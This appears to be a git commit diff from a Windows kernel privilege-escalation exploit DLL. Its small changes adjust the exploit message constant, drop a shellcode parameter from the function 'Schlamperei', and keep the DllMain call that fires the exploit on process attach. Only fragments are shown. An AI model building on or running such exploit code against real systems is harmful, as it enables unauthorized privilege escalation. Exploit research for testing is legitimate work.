Address OJ's comments
parent
8126fd1cc3
commit
850f6b0276
|
@ -26,7 +26,7 @@ typedef NTSTATUS *PNTSTATUS;
|
|||
|
||||
#define TABLE_BASE 0xff910000
|
||||
|
||||
#define EXPLOIT_MSG 0xd
|
||||
#define EXPLOIT_MSG WM_GETTEXT
|
||||
|
||||
// global variables FTW
|
||||
HWND gHwnd = 0x0;
|
||||
|
@ -231,7 +231,7 @@ typedef long (*_RtlCreateUserThread)(HANDLE,
|
|||
|
||||
_RtlCreateUserThread RtlCreateUserThread;
|
||||
|
||||
int Schlamperei(LPVOID shellcode)
|
||||
int Schlamperei()
|
||||
{
|
||||
// Create window which will execute the wndproc in kernel mode
|
||||
HWND wnd = createhelperwnd();
|
||||
|
@ -278,7 +278,7 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
|
|||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
Schlamperei(lpReserved);
|
||||
Schlamperei();
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
|
|
Loading…
Reference in New Issue